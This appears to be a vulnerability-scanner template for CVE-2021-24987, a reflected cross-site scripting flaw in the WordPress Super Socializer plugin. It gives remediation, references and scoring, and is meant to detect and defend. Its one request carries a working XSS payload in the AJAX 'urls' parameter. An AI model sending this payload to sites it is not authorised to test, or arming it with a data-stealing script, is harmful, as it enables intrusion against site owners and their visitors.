id: CVE-2021-24987

info:
  name: WordPress Super Socializer <7.13.30 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Super Socializer plugin before 7.13.30 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response.
  remediation: |
    Update to the latest version of the WordPress Super Socializer plugin (7.13.30 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/a14b668f-812f-46ee-827e-0996b378f7f0
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24987
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24987
    cwe-id: CWE-79
    epss-score: 0.00097
    epss-percentile: 0.39802
    cpe: cpe:2.3:a:heateor:super_socializer:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: heateor
    product: super_socializer
    framework: wordpress
  tags: cve,cve2021,wpscan,xss,wp,wp-plugin,wordpress

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"facebook_urls":[["<img src=x onerror=alert(document.domain)>"]]'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200